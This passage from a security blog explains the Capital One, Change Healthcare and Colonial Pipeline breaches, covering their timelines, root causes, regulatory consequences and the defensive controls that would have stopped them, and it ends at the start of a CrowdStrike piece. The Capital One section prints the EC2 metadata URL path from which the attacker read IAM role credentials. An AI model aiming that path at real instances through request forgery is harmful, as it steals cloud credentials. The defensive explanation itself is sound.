https://www.europol.europa.eu/media-press/newsroom/news/takedown-of-notorious-hacker-marketplace-selling-your-identity-to-criminals - Operation Cookiemonster (Dutch National Police (Politie)): https://politie.nl/en/news/2023/april/5/operation-cookiemonster.html - Seized Genesis Market Data is Now Searchable in Have I Been Pwned, Courtesy of the FBI and Operation Cookie Monster (Troy Hunt): https://www.troyhunt.com/seized-genesis-market-data-is-now-searchable-in-have-i-been-pwned-courtesy-of-the-fbi-and-operation-cookie-monster/ - Treasury Sanctions Illicit Marketplace Genesis Market (US Department of the Treasury): https://home.treasury.gov/news/press-releases/jy1388 - Suspicion stalks Genesis Market's competitors following FBI takedown (The Record (Recorded Future News)): https://therecord.media/genesis-market-russian-market-2easy-shop-cybercrime-fraud - Genesis Market sold to anonymous buyer despite FBI disruption (The Record (Recorded Future News)): https://therecord.media/genesis-market-sold-despite-fbi-operation - The Infostealer Pipeline: How Russian Market Fuels Credential-Based Attacks (ReliaQuest): https://reliaquest.com/blog/infostealer-pipeline-stolen-credential-attacks-russian-marketplace/ - New research by Netacea into digital fingerprint and identity theft (SecurityBrief (reporting Netacea research)): https://securitybrief.co.nz/story/new-research-by-netacea-into-digital-fingerprint-and-identity-thief --- ## The Capital One Breach: SSRF, Metadata Credentials, 100 Million Records > How the 2019 Capital One breach worked: a server-side request forgery against a misconfigured WAF, the EC2 metadata service handing over role credentials, and an S3 role that could read far more than it needed. - URL: https://blog.pwnsy.com/capital-one-breach-explained - Date: 2026-08-25 - Updated: 2026-08-25 - Difficulty: intermediate - Category: threat-intel - Tags: capital-one, ssrf, cloud-security, incident-analysis, case-study - Related: [Terraform Security Checklist: 12 Settings Behind Cloud Breaches](https://blog.pwnsy.com/terraform-security-checklist), [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained), [Change Healthcare: One Citrix Login and a National Outage](https://blog.pwnsy.com/change-healthcare-attack-explained) ### TL;DR - A server-side request forgery against a misconfigured web application firewall running on EC2 reached the instance metadata service and returned temporary credentials for the role attached to that instance. - Those credentials could list and read S3 buckets far beyond what the component needed, which turned a request-forgery bug into the theft of roughly 100 million US and 6 million Canadian applicants' records. - Every individual component behaved as documented. The metadata service answered a request from the instance, the role had the permissions it had been granted, and S3 served data to an authorised caller. - The regulator's finding was about process rather than the bug: the OCC penalised the bank for failing to establish effective risk assessment before migrating significant operations to the public cloud. ### Key Takeaways - IMDSv1 answered any GET from the instance, so any component that could be made to fetch a URL could read role credentials. IMDSv2 requires a PUT and a header, which most SSRF primitives cannot produce. - The role attached to the instance is the blast radius of every application bug on that instance, which is the strongest practical argument for scoping instance roles tightly. - Detection existed in principle: an unusual volume of S3 list and get operations by an instance role is visible in cloud audit logs, and it was an external tip that surfaced this. - A WAF is an application that runs on a host and can itself be vulnerable, which is easy to forget about a security product. - The regulator's language matters for anyone migrating: the finding was about risk assessment before the move, not about a single misconfiguration. - The controls that close this are now one-line settings: enforce IMDSv2 at the account level and set the hop limit to 1. ### FAQ **Q: What actually happened in the Capital One breach?** An attacker exploited a server-side request forgery weakness in a misconfigured web application firewall running on an EC2 instance. That let them make the instance issue requests of their choosing, including to the instance metadata service at 169.254.169.254, which returns temporary credentials for the IAM role attached to the instance. With those credentials they listed and read S3 buckets, taking data on roughly 100 million US and 6 million Canadian credit card applicants. **Q: Was this an AWS vulnerability?** No. Every component behaved as designed and documented. The metadata service answered a request that came from the instance, which is its function under version 1 of the protocol. The role had the permissions the customer had granted it. S3 returned objects to a caller with valid credentials and permission. The failures were on the customer side of the shared responsibility line: a vulnerable application, an over-permissive role, and version 1 of the metadata service still enabled. **Q: What is SSRF and why did it matter here?** Server-side request forgery is a weakness where an attacker can cause a server to make HTTP requests to a destination of the attacker's choosing. In cloud environments it is unusually dangerous because the link-local metadata address is reachable from the instance and, under IMDSv1, hands out credentials in plain text to whoever asks. The full mechanism is covered in the SSRF guide. **Q: How would IMDSv2 have prevented it?** IMDSv2 requires the caller to first obtain a session token with an HTTP PUT carrying a specific header, then present that token on subsequent requests. Most SSRF primitives can only cause a simple GET and cannot set arbitrary headers, so the credential path closes. The service also rejects requests carrying an X-Forwarded-For header, which blocks the proxy route specifically. **Q: What did it cost Capital One?** The Office of the Comptroller of the Currency assessed an 80 million dollar civil money penalty in August 2020, citing failure to establish effective risk assessment processes before migrating significant information technology operations to the public cloud, and failure to correct deficiencies in a timely manner. Capital One also agreed to pay 190 million dollars to settle a class action, while denying liability. **Q: What is the single most transferable lesson?** The role attached to a compute instance is the blast radius of every application flaw on that instance. Scope instance roles to exactly what the workload needs, enforce IMDSv2 so a request-forgery bug cannot reach credentials, and monitor cloud audit logs for unusual bulk read activity by an instance role. The Capital One breach is the case that taught a generation of cloud engineers what the metadata service is. The chain has four links and no exotic step. A web application firewall running on an EC2 instance could be induced to make requests to arbitrary destinations. One of those destinations was the instance metadata service. The metadata service returned credentials for the IAM role attached to the instance. That role could read a great deal of S3. Nothing was exploited in the sense of a memory corruption or a novel technique. Each component did what it was built to do, and the combination produced the theft of records on roughly 100 million people. Scope: [SSRF Explained](/ssrf-explained) owns the application weakness and how to prevent it, and [Cloud Misconfigurations](/cloud-misconfigurations-guide) owns the settings, including the metadata service configuration. This page owns the incident and the sequence. ## Timeline | Date | Event | |---|---| | March 2019 | Unauthorised access occurs | | 17 July 2019 | An external tip alerts Capital One that data appears to have been posted publicly | | 19 July 2019 | The company confirms the intrusion | | 29 July 2019 | Public disclosure. Approximately 100 million US and 6 million Canadian applicants affected | | August 2020 | The OCC assesses an 80 million dollar civil money penalty | | December 2021 | A 190 million dollar class action settlement is agreed, with liability denied | The detection detail is worth noting on its own: the company learned of the breach from an outside report four months after the access, rather than from its own monitoring. ## The chain **Link one: a request-forgery weakness in a security product.** The vulnerable component was a web application firewall, misconfigured in a way that allowed an attacker to cause it to issue requests to a destination they chose. It is worth pausing on the irony, and more usefully on the general point: a WAF is software running on a host. It parses untrusted input for a living. It can have vulnerabilities and it can be misconfigured, exactly like the applications it protects. **Link two: the metadata service answered.** Every EC2 instance can query `169.254.169.254` for information about itself. Under IMDSv1 that is a plain HTTP GET with no headers required, and one of the paths returns temporary credentials for the IAM role attached to the instance: ``` http://169.254.169.254/latest/meta-data/iam/security-credentials/ ``` The response is JSON containing an access key, a secret key and a session token. The application had no business talking to the metadata service and did not need to; it only needed to fetch a URL somebody else chose. **Link three: the role had broad permissions.** The credentials belonged to the role attached to the instance, and that role could list and read S3 buckets well beyond what the component required for its function. This is the link that turned an interesting bug into a large breach. An SSRF that yields credentials to a role with no useful permissions is a finding; the same bug yielding credentials to a role that can read the customer data estate is an incident. **Link four: bulk retrieval.** With valid credentials, listing and downloading objects is ordinary API usage. Nothing malformed, nothing exploited, no alarm inherent in the requests themselves. ## Why nothing alerted Each request in the chain was legitimate in isolation. The metadata request came from the instance, which is the only place it can come from. The S3 calls carried valid credentials and appropriate permissions. There was no malware, no unusual process, no exploit signature. Endpoint tooling on the instance had nothing anomalous to see, because from the operating system's perspective a normal process made normal outbound requests. What was visible, in principle, was the shape of the activity in cloud audit logs: an instance role that normally performs a narrow set of operations suddenly performing large numbers of list and get calls across many buckets. That is a detection worth building, and it belongs to the same family as the KMS decrypt-volume detection in [Cloud Key Management Explained](/cloud-key-management-explained). Volume and pattern anomalies on authorised API calls are frequently the only signal available when the credentials are real. ## What the regulator actually said The OCC's penalty language is more useful than the technical narrative for anyone planning a cloud migration. The finding was that the bank failed to establish effective risk assessment processes before migrating significant information technology operations to the public cloud, and failed to correct identified deficiencies in a timely manner. That is not a statement about one misconfigured firewall. It is a statement about governance: moving material operations into a different architecture, with a different security model and different failure modes, and not building the assessment and control processes to match it beforehand. For anyone in a regulated sector, this is the sentence to take away. The regulator did not need to understand SSRF to find fault, and the finding would have stood even if the specific bug had been different. ## The controls, stated plainly Everything on this list is available today and most of it is a single setting. **Enforce IMDSv2, and set the hop limit to 1.** Version 2 requires a PUT to obtain a session token and a header on subsequent requests, which most request-forgery primitives cannot produce. The hop limit stops the response surviving a hop to a container on a bridged network. Both can be set as an account-level default so new instances inherit them. **Scope instance roles to the workload.** The permissions on the role attached to a host are the ceiling on what any bug on that host can reach. A component that needs one bucket should have one bucket, per [Least Privilege Explained](/least-privilege-explained). **Treat SSRF as a high-severity class in cloud environments**, not a medium. Allowlist outbound destinations where the application makes server-side requests, block the link-local range from application egress, and validate after DNS resolution rather than on the string. [SSRF Explained](/ssrf-explained) has the detail. **Monitor cloud API activity for volume anomalies by instance roles**, since the credentials will be valid and the calls will be authorised. **Do the risk assessment before the migration**, which is the thing the regulator actually penalised. ## What generalises 1. **An instance role is the blast radius of every flaw on the instance.** Size it accordingly. 2. **Security products are software**, with vulnerabilities and misconfigurations of their own. 3. **Metadata services are a credential vending machine reachable from inside the host.** Every major cloud has one, and each has a hardening mode that should be mandatory. 4. **When the credentials are real, only behaviour is anomalous.** Build detections on volume and pattern in the audit log. 5. **Governance is assessed separately from the bug.** Regulators ask what process existed before the migration. ## The verdict Four links, none of them clever, ending in the records of a hundred million people. The bug was ordinary, the metadata service worked as specified, the role was too broad, and detection came from an outside tip four months later. The two settings that break this chain, IMDSv2 enforced and a tightly scoped instance role, take an afternoon across an entire account. That combination is the whole lesson, and it is worth checking rather than assuming, because the accounts most likely to still be on version 1 are the ones created before anyone had heard of this incident. ## Related guides - [SSRF Explained](/ssrf-explained) - [Cloud Misconfigurations](/cloud-misconfigurations-guide) - [Least Privilege Explained](/least-privilege-explained) - [Cloud Security Fundamentals](/cloud-security-fundamentals) - [Cloud Key Management Explained](/cloud-key-management-explained) - [Terraform Security Checklist](/terraform-security-checklist) ### Sources - OCC Assesses $80 Million Civil Money Penalty Against Capital One (US Office of the Comptroller of the Currency): https://www.occ.gov/news-issuances/news-releases/2020/nr-occ-2020-101.html - Information on the 2019 Capital One Cyber Incident (Capital One): https://www.capitalone.com/digital/facts2019/ - Use IMDSv2 (Amazon Web Services): https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html - AWS Shared Responsibility Model (Amazon Web Services): https://aws.amazon.com/compliance/shared-responsibility-model/ - OWASP Server Side Request Forgery Prevention Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html --- ## Change Healthcare: One Citrix Login and a National Outage > How the February 2024 Change Healthcare attack happened: a stolen credential on a Citrix portal without MFA, nine days to ransomware, a paid ransom followed by a second extortion, and 190 million people notified. - URL: https://blog.pwnsy.com/change-healthcare-attack-explained - Date: 2026-08-25 - Updated: 2026-08-25 - Difficulty: beginner - Category: threat-intel - Tags: change-healthcare, ransomware, healthcare, concentration-risk, case-study - Related: [The Next 10 Years of Cybersecurity: A Forecast to 2036](https://blog.pwnsy.com/cybersecurity-next-10-years), [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained), [The 3-2-1 Backup Strategy: Ransomware-Resistant Backups](https://blog.pwnsy.com/3-2-1-backup-strategy-guide) ### TL;DR - Attackers logged in to a Citrix remote access portal on 12 February 2024 with stolen credentials. The portal did not have multi-factor authentication enabled. - They moved laterally and exfiltrated data for nine days before deploying ransomware on 21 February. - A ransom of 22 million dollars was paid. The affiliate did not receive their share, kept the data, and a second group extorted the victim again. - Pharmacies, hospitals and practices across the United States could not process claims, prescriptions or payments, because a large share of the country's healthcare transactions ran through one company. ### Key Takeaways - The initial access failure was a single missing control on one remote access portal, confirmed publicly in congressional testimony by the parent company's chief executive. - Nine days of dwell time is a detection failure, and it was also the window in which the incident could still have been contained before encryption. - Paying once does not buy silence when the operation is a service with affiliates: the affiliate held the data after the operator took the payment. - Concentration risk is the systemic lesson. Efficiency consolidated national claims processing into a single point whose failure stopped payments nationwide. - Notification eventually covered roughly 190 million individuals, which is a figure that moved for a year as the review completed. - The organisations most hurt were small providers with no cash reserves, who could not bill and could not wait. ### FAQ **Q: How did attackers get into Change Healthcare?** With stolen credentials used against a Citrix remote access portal that did not have multi-factor authentication enabled. UnitedHealth Group's chief executive confirmed this in congressional testimony in May 2024. Initial access occurred on 12 February 2024, and ransomware was deployed on 21 February, nine days later. **Q: Why did the attack affect so many organisations?** Because Change Healthcare sits between providers and insurers as a clearinghouse, processing a very large share of US healthcare transactions: eligibility checks, claims submission, prior authorisation and payments. When it went offline, pharmacies could not verify coverage, providers could not submit claims, and payments stopped flowing. Organisations with no direct relationship to the company were unable to operate normally. **Q: Did the company pay the ransom?** Yes. UnitedHealth Group's chief executive testified that a ransom of 22 million dollars was paid, and described it as one of the hardest decisions he had made. The payment did not end the matter: the affiliate who carried out the intrusion reportedly did not receive their share from the ransomware operator, retained the stolen data, and a second extortion attempt followed under a different group's name. **Q: How many people were affected?** Notification eventually reached roughly 190 million individuals, with the figure later reported above 192 million on the US Department of Health and Human Services breach portal. The number rose repeatedly over the year following the incident as the data review progressed, which is normal for an event of this scale and is why any figure needs its date. **Q: What is the lesson about paying?** That payment is a transaction with an organisation that has no obligation and, in a service model with affiliates, may not even control the person holding your data. Here the money went to the operator and the affiliate kept the files. Any decision to pay should assume the data may be published anyway, because confidentiality cannot be restored by a payment. **Q: What should healthcare organisations take from it?** Three things. Multi-factor authentication on every remote access path, without exception, because that is the control that was missing. A tested plan for operating when a critical external service is unavailable, including manual claims and payment processes. And an inventory of single points of failure among your suppliers, since the organisations worst affected were those with no alternative clearinghouse and no cash buffer. On 21 February 2024, a company most patients had never heard of went offline, and pharmacies across the United States stopped being able to tell customers what their medication would cost. Change Healthcare is a clearinghouse. It sits between healthcare providers and insurers, handling eligibility checks, claims, prior authorisations and payments for a very large share of US healthcare transactions. When it stopped, providers could not bill, pharmacies could not verify coverage, and money stopped moving through a substantial part of the system. The way in was a login. One remote access portal, stolen credentials, and no multi-factor authentication. ## Timeline | Date | Event | |---|---| | 12 February 2024 | Attackers authenticate to a Citrix remote access portal using stolen credentials. The portal has no MFA | | 12 to 21 February 2024 | Lateral movement and data exfiltration over nine days | | 21 February 2024 | Ransomware is deployed. Systems are taken offline | | Late February 2024 | Pharmacies, providers and hospitals across the US report inability to process claims and prescriptions | | March 2024 | A ransom of 22 million dollars is paid. The affiliate reportedly does not receive their share and retains the data | | April 2024 | A second extortion attempt follows under a different group's name | | 1 May 2024 | The parent company's chief executive testifies to Congress, confirming the missing MFA and the payment | | 2024 into 2025 | Notification expands, eventually covering roughly 190 million individuals | ## The way in There is not much to explain, which is the point worth sitting with given the consequences. A Citrix portal provided remote access to desktops. Credentials for it had been compromised elsewhere. The portal did not require a second factor, so the credentials alone were sufficient. The parent company's chief executive stated this publicly in congressional testimony. It is unusual to have a confirmation this direct from the top of an affected organisation, and it removes any ambiguity about the cause of initial access. The same single missing control appears in [Colonial Pipeline](/colonial-pipeline-explained) and in [The Snowflake Customer Breaches](/snowflake-breaches-explained). Three incidents of national significance, one absent control, in each case on a remote access path that had been forgotten or exempted. ## Nine days Between the login on 12 February and the ransomware on 21 February, attackers moved through the environment and exfiltrated data. Nine days is a long time and it is also an opportunity that was available and missed. Everything that made the incident catastrophic happened at the end of that window. During it, the activity was an intruder using valid credentials, moving laterally, and copying large volumes of data out. That activity is detectable. A remote access account authenticating from an unusual source, then accessing systems it has never touched, then generating outbound transfers at volumes that do not match its history, is exactly the sequence [What Is a SIEM](/what-is-a-siem) describes as the shape a correlation engine exists to catch. Detecting it on day three rather than day nine changes the incident from a national outage into a contained intrusion with a data theft problem. ## Why one company's outage stopped a country The systemic lesson is about concentration rather than about security. Healthcare payment infrastructure consolidated over decades for good economic reasons: a clearinghouse that connects thousands of providers to hundreds of insurers is enormously more efficient than every provider integrating with every payer. The result was that a very large share of the transaction volume in a national healthcare system ran through one company's systems. Efficiency at that scale creates a single point of failure whose blast radius is the sector. When it went down: - Pharmacies could not check coverage, so patients paid full price or went without. - Providers could not submit claims, so revenue stopped. - Small practices with limited cash reserves faced payroll they could not meet within weeks. - The parent company advanced billions of dollars to providers to keep them solvent, which is the clearest measure of how much economic activity had stopped. The organisations hurt worst were the smallest ones. A large hospital system has reserves and alternative arrangements. A two-physician practice has neither, and their exposure came from a supplier decision made years earlier that nobody had modelled as a risk. For anyone assessing supplier risk, the question this poses is uncomfortable and worth asking anyway: **which single external service, if unavailable for a month, would stop you being paid?** That is a different question from whether the supplier is secure, and it has a different answer. ## Paying twice The extortion sequence here is the clearest public example of what a service model does to the payment calculation. A ransom of 22 million dollars was paid. In a ransomware-as-a-service arrangement, the operator provides the malware and infrastructure while an affiliate performs the intrusion, and they split proceeds. Reporting indicates the affiliate did not receive their share, retained the stolen data, and a second extortion attempt followed under another group's banner. The lesson generalises past this incident. **Payment is a transaction with a party that has no obligation and may not control the data.** In an affiliate model there are at least two parties with a copy, and the one you paid may not be the one holding it. [Ransomware as a Service Explained](/ransomware-as-a-service-explained) covers the structure. Anyone weighing payment should assume publication happens anyway and decide on that basis. What payment can buy is a decryption tool and time; what it cannot buy is confidentiality. ## The regulatory and legal tail Healthcare data carries specific obligations, and the notification process ran for more than a year as the company worked out whose data was in the stolen files. The count rose repeatedly, ending around 190 million individuals and later reported above 192 million on the federal breach portal, making it the largest healthcare data breach recorded in the United States. Two practical points for anyone in a regulated sector: **Notification obligations follow the data**, so downstream providers whose patients' information sat in the clearinghouse had their own responsibilities, dependent on information they could not produce themselves. **Counting takes far longer than responding.** The technical incident lasted weeks. Determining whose data was affected took a year, and that work is only possible if you know what data you hold and where it went, which is the argument in [What Is DLP](/what-is-dlp) for knowing your data estate before you need to. ## What generalises 1. **MFA on every remote access path, with no exceptions.** The exceptions are where these incidents start. 2. **Dwell time is the window you are fighting for.** Nine days of lateral movement and exfiltration is detectable with ordinary identity and network telemetry. 3. **Map your single points of failure among suppliers**, and ask what happens if one is gone for a month. 4. **Have a manual mode.** Organisations that could bill on paper suffered less than those that could not operate at all. 5. **Payment does not restore confidentiality**, and in an affiliate model it may not even reach the person holding your data. 6. **Data minimisation reduces the size of the eventual notification.** Records that were deleted on schedule are not in the count. ## The verdict One remote access portal without multi-factor authentication, nine days of undetected activity, and a national healthcare payments outage that left small practices unable to make payroll. The organisational lesson is larger than the technical one. The security failure was a missing control that most organisations would recognise in their own estate. The systemic failure was that a country's healthcare payments had consolidated into a single point whose loss nobody had planned for, and that plan was never Change Healthcare's to make. ## Related guides - [Anatomy of a Ransomware Attack](/ransomware-anatomy) - [Ransomware as a Service Explained](/ransomware-as-a-service-explained) - [Colonial Pipeline Explained](/colonial-pipeline-explained) - [Two-Factor Authentication Guide](/two-factor-authentication-guide) - [Incident Response 101](/incident-response-101) ### Sources - Hearing: Examining the Change Healthcare Cyberattack, testimony of the UnitedHealth Group CEO (US Senate Committee on Finance): https://www.congress.gov/event/118th-congress/senate-event/LC72767/text - The Change Healthcare Cyberattack, Congressional Research Service (Congressional Research Service): https://www.congress.gov/crs_external_products/IN/HTML/IN12330.web.html - #StopRansomware: ALPHV Blackcat (CISA and FBI): https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-353a - HHS Office for Civil Rights breach portal (US Department of Health and Human Services): https://ocrportal.hhs.gov/ocr/breach/breach_report.jsf - HIPAA Security Rule (US Department of Health and Human Services): https://www.hhs.gov/hipaa/for-professionals/security/index.html --- ## Colonial Pipeline: One Legacy VPN Account Without MFA > How the May 2021 Colonial Pipeline ransomware incident happened: a dormant VPN account with a reused password and no MFA, the decision to shut the pipeline, the ransom, and the partial recovery. - URL: https://blog.pwnsy.com/colonial-pipeline-explained - Date: 2026-08-25 - Updated: 2026-09-03 - Difficulty: beginner - Category: threat-intel - Tags: colonial-pipeline, ransomware, critical-infrastructure, ot-security, case-study - Related: [The Next 10 Years of Cybersecurity: A Forecast to 2036](https://blog.pwnsy.com/cybersecurity-next-10-years), [Genesis Market Explained: The Bot Shop and Operation Cookie Monster](https://blog.pwnsy.com/genesis-market-explained), [The 3-2-1 Backup Strategy: Ransomware-Resistant Backups](https://blog.pwnsy.com/3-2-1-backup-strategy-guide) ### TL;DR - The entry point was a VPN account that was no longer in use, with a password that appeared in a credential dump elsewhere and no multi-factor authentication in front of it. - The ransomware hit business systems. The pipeline itself was shut down as a precaution, because the company could not be certain the operational side was unaffected and could not bill without the IT systems. - Colonial paid 75 bitcoin, about 4.4 million dollars. The Department of Justice later recovered roughly 63.7 of those bitcoin. - The fuel shortages that followed came mostly from panic buying rather than from supply running out, which made this a demonstration of how quickly an IT incident becomes a public one. ### Key Takeaways - Dormant accounts are the reliable way in. The account still worked, nobody used it, and nobody would have noticed it being used. - MFA on remote access is the single control that would have stopped this intrusion at the door. - Password reuse turned a breach somewhere else into a breach here, which is what credential monitoring and unique passwords are for. - The IT and OT separation question decided the impact: unable to prove the operational network was clean, the safe choice was to stop the pipeline. - Paying did not restore service quickly. The company reportedly used its own backups because the supplied decryptor was too slow, which is the common experience. - Regulation followed within weeks, turning pipeline cybersecurity from voluntary guidance into directives. ### FAQ **Q: How did attackers get into Colonial Pipeline?** Through a virtual private network account that was no longer in active use but had not been disabled. Mandiant's investigation, described in congressional testimony, found the same password in a batch of leaked credentials circulating online, which indicates the employee had reused it on another service. The first attacker login was on 29 April 2021, eight days before the ransomware. The account was not protected by multi-factor authentication, so the password alone granted remote access to the network. **Q: Was the pipeline itself hacked?** The ransomware affected the company's information technology systems rather than the operational technology that runs the pipeline. Colonial shut the pipeline down as a precaution: it could not immediately confirm the operational side was unaffected, and its billing and scheduling systems, which are needed to run the business, were down. The shutdown was a decision made under uncertainty rather than a direct consequence of the malware. **Q: Did Colonial pay the ransom?** Yes, 75 bitcoin, worth about 4.4 million dollars at the time, paid shortly after the attack. The Department of Justice announced on 7 June 2021 that it had seized approximately 63.7 bitcoin of that payment, worth about 2.3 million dollars at that point because bitcoin's price had fallen. The company's chief executive testified that the decision was made because of uncertainty about how long restoration would take and the consequences of a prolonged fuel supply interruption. **Q: Did paying restore the systems?** Not usefully. Reporting and testimony indicate the decryption tool supplied by the attackers was slow enough that the company relied on its own backups for much of the restoration. This is a common outcome: decryptors provided by ransomware operators are frequently slow, buggy, or incomplete, so payment rarely delivers the fast recovery it promises. **Q: Why did petrol stations run dry if the pipeline restarted in days?** Mostly because of panic buying. The pipeline was shut for around five days and demand spiked far above normal as drivers filled every container they had. The shortages were a consumer behaviour effect amplified by news coverage, which is worth noting because the second-order public impact of an IT incident can exceed the direct one. **Q: What changed in regulation afterwards?** The US Transportation Security Administration issued security directives for pipeline owners and operators within weeks, requiring incident reporting to CISA, designating a cybersecurity coordinator, and later mandating specific mitigation measures and testing. Pipeline cybersecurity moved from voluntary guidance to enforceable directive as a direct result. The largest refined fuel pipeline in the United States stopped for five days because of a password. Not a sophisticated exploit chain, not a zero-day, not a supply chain compromise. A VPN account that nobody used any more, whose password had appeared in a leak from some other website, with no second factor in front of it. What makes the case instructive is less the intrusion than everything after it: the decision to shut the pipeline under uncertainty, the payment that did not deliver fast recovery, and how quickly an IT incident at a private company became a national fuel story. ## Timeline | Date | Event | |---|---| | 29 April 2021 | A DarkSide affiliate logs into the VPN appliance with a legacy profile and a valid employee password. Mandiant found no attacker activity before this date | | 6 May 2021 | Roughly 100 gigabytes of data is exfiltrated over about two hours | | 7 May 2021 | Ransomware is deployed on IT systems. Colonial shuts the pipeline as a precaution and the chief executive authorises the ransom | | 8 May 2021 | The 75 bitcoin payment reaches the attackers, per the FBI seizure affidavit. The FBI publicly attributes the incident to DarkSide ransomware on 10 May | | 8 to 11 May 2021 | Panic buying spreads across the southeastern US. Fuel stations run dry | | 12 May 2021 | The pipeline restarts. Normal delivery takes several more days | | 7 June 2021 | The Department of Justice announces recovery of approximately 63.7 bitcoin | | Late May and July 2021 | TSA issues security directives for pipeline operators | ## The way in The account was a legacy VPN profile: still valid, no longer in use, and not protected by multi-factor authentication. Mandiant found the same password in a batch of leaked credentials circulating online, which points to reuse on some other service rather than to any compromise of Colonial itself. Charles Carmakal of Mandiant told Congress the password was reasonably complex and unlikely to have been guessed, and that an exhaustive search found no phishing of that employee and no attacker activity before 29 April. Three ordinary failures, stacked: **A dormant account that still worked.** Nobody used it, which also means nobody would have noticed it being used. Accounts that survive their purpose are the most attractive credentials in any estate: full access, zero attention. The control is joiner-mover-leaver process and a periodic review that disables anything not authenticated in ninety days. **Password reuse.** The same password somewhere else, breached there, sold in bulk, and tried here. [What Is an Infostealer](/what-is-an-infostealer) covers the modern version of this supply chain, and [Password Managers Guide](/password-managers-guide) covers the individual fix. **No multi-factor authentication on remote access.** One control, applied to that one account, ends this incident before it starts. There is no fourth failure required. That is the entire initial access story for an incident that made international news. Eight days passed between that first login on 29 April and the ransomware on 7 May, which is time an alert on a dormant account authenticating would have bought. Credentials are one of two ways into a remote-access edge. The other is the appliance itself, and the [VPN edge CVE watch](https://pwnsy.com/tools/vpn/edge-cves/) lists every Fortinet, Ivanti, Cisco ASA, SonicWall, Citrix and Palo Alto entry in the CISA Known Exploited Vulnerabilities catalogue, with the EPSS score, the ransomware linkage and the federal remediation deadline on each row. If you run one of those boxes, it tells you which of your models has a confirmed in-the-wild exploit and how urgent the patch is. ## The shutdown decision The ransomware ran on business systems. The pipeline's operational technology, the industrial control systems that actually move fuel, was not reported as encrypted. Colonial stopped the pipeline anyway, for two reasons that are worth separating. **Uncertainty about the boundary.** With attackers on the IT network and no way to immediately prove the OT network was untouched, continuing to operate meant betting on a separation the company could not yet verify. Stopping was the conservative choice under incomplete information, and it was the right one. **The business could not function.** Billing, scheduling and allocation systems ran on the affected IT side. Fuel can move without invoices for a while, and not indefinitely. The uncomfortable question this raises for anyone with an OT environment is whether you could answer, on the day, how well separated the two are. Most organisations cannot, because the separation is documented rather than tested, and there are usually more crossings than the diagram shows: a historian server pulling process data into a business database, an engineering workstation with dual connections, a vendor remote-support path, a shared directory for authentication. [Network Segmentation Guide](/network-segmentation-guide) covers verifying a boundary rather than declaring one. ## The payment Colonial paid 75 bitcoin, roughly 4.4 million dollars, quickly. The chief executive's public explanation was uncertainty: it was not clear how long restoration would take, and the consequences of a long fuel supply interruption were severe enough to justify buying an option on faster recovery. The option did not pay out well. Reporting and testimony indicate the supplied decryption tool was slow enough that the company relied heavily on its own backups. This is the common experience, and it belongs in any pre-incident discussion about payment: decryptors are written by criminals to a standard that does not include performance, they frequently fail on some file types, and restoring from your own tested backups is usually faster. [3-2-1 Backup Strategy](/3-2-1-backup-strategy-guide) covers making sure that option exists. The recovery of about 63.7 bitcoin by the Department of Justice was a genuine surprise and should not be treated as a repeatable outcome. That was the affiliate's share of the payment, and bitcoin had fallen far enough by 7 June that it was worth about 2.3 million dollars when it was seized, against the 4.4 million paid a month earlier. It depended on specifics of how the funds were held, and most payments are not recovered. ## The public consequences The pipeline was down for about five days. Fuel shortages across the southeastern United States were driven mostly by panic buying: coverage of a pipeline shutdown produced demand far above normal, stations ran dry, and images of empty pumps drove more of the same. That dynamic deserves a place in incident planning. **The second-order public reaction can exceed the direct operational impact**, and it is influenced by communication. Organisations running services the public depends on need a communications plan that assumes the story will move faster than the facts. Regulation followed almost immediately. The TSA issued security directives for pipeline owners and operators requiring reporting of incidents to CISA, a named cybersecurity coordinator, and subsequently specific mitigation measures and testing. A sector that had operated under voluntary guidance was under enforceable direction within weeks, which is the pattern after any incident with visible public consequences. ## What generalises 1. **Disable accounts when they stop being needed.** Dormant, valid credentials are the cleanest way into any network. 2. **MFA on every remote access path, without exception for legacy profiles.** The exceptions are the attack surface. 3. **Know whether your IT and OT separation is real**, because you will be asked during an incident and the answer determines whether you can keep operating. 4. **Payment is not a recovery plan.** Decryptors are slow and unreliable, and the decision is better made in advance with legal and executive input than at 3am. 5. **Plan the public communications** for an incident that affects people outside your organisation. ## The verdict A single unused VPN account with a reused password and no second factor stopped a pipeline that carries a large share of the fuel for the eastern United States. The technical lesson is small enough to act on today: find the accounts nobody uses, disable them, and put multi-factor authentication on everything that grants remote access. The organisational lesson is larger, and it is that the decisions which determined the impact were made under uncertainty about network boundaries that nobody had verified in advance. ## Related guides - [Anatomy of a Ransomware Attack](/ransomware-anatomy) - [Ransomware as a Service Explained](/ransomware-as-a-service-explained) - [Network Segmentation Guide](/network-segmentation-guide) - [Two-Factor Authentication Guide](/two-factor-authentication-guide) - [3-2-1 Backup Strategy](/3-2-1-backup-strategy-guide) ### Sources - Testimony of Charles Carmakal, Mandiant, before the House Committee on Homeland Security (US House Committee on Homeland Security): https://democrats-homeland.house.gov/download/carmakal-testimony-full-69&download=1 - Department of Justice Seizes $2.3 Million in Cryptocurrency Paid to the Ransomware Extortionists Darkside (US Department of Justice): https://www.justice.gov/opa/pr/department-justice-seizes-23-million-cryptocurrency-paid-ransomware-extortionists-darkside - DarkSide Ransomware: Best Practices for Preventing Business Disruption from Ransomware Attacks (CISA and FBI): https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-131a - Security Directive Pipeline-2021-01 (US Transportation Security Administration): https://www.tsa.gov/sites/default/files/sd-pipeline-2021-01.pdf - Justice Dept. Claws Back $2.3M Paid by Colonial Pipeline to Ransomware Gang (KrebsOnSecurity): https://krebsonsecurity.com/2021/06/justice-dept-claws-back-2-3m-paid-by-colonial-pipeline-to-ransomware-gang/ - #StopRansomware Guide (CISA): https://www.cisa.gov/resources-tools/resources/stopransomware-guide --- ## The 2024 CrowdStrike Outage: Channel File 291 Explained > What happened on 19 July 2024: a Rapid Response Content update with 21 input fields met a sensor expecting 20, causing an out-of-bounds read and a bugcheck on 8.5 million Windows hosts in 78 minutes. - URL: https://blog.pwnsy.com/crowdstrike-outage-explained - Date: 2026-08-25 - Updated: 2026-08-25 - Difficulty: beginner - Category: threat-intel - Tags: crowdstrike, incident-analysis, availability, edr, case-study - Related: [Genesis Market Explained: The Bot Shop and Operation Cookie 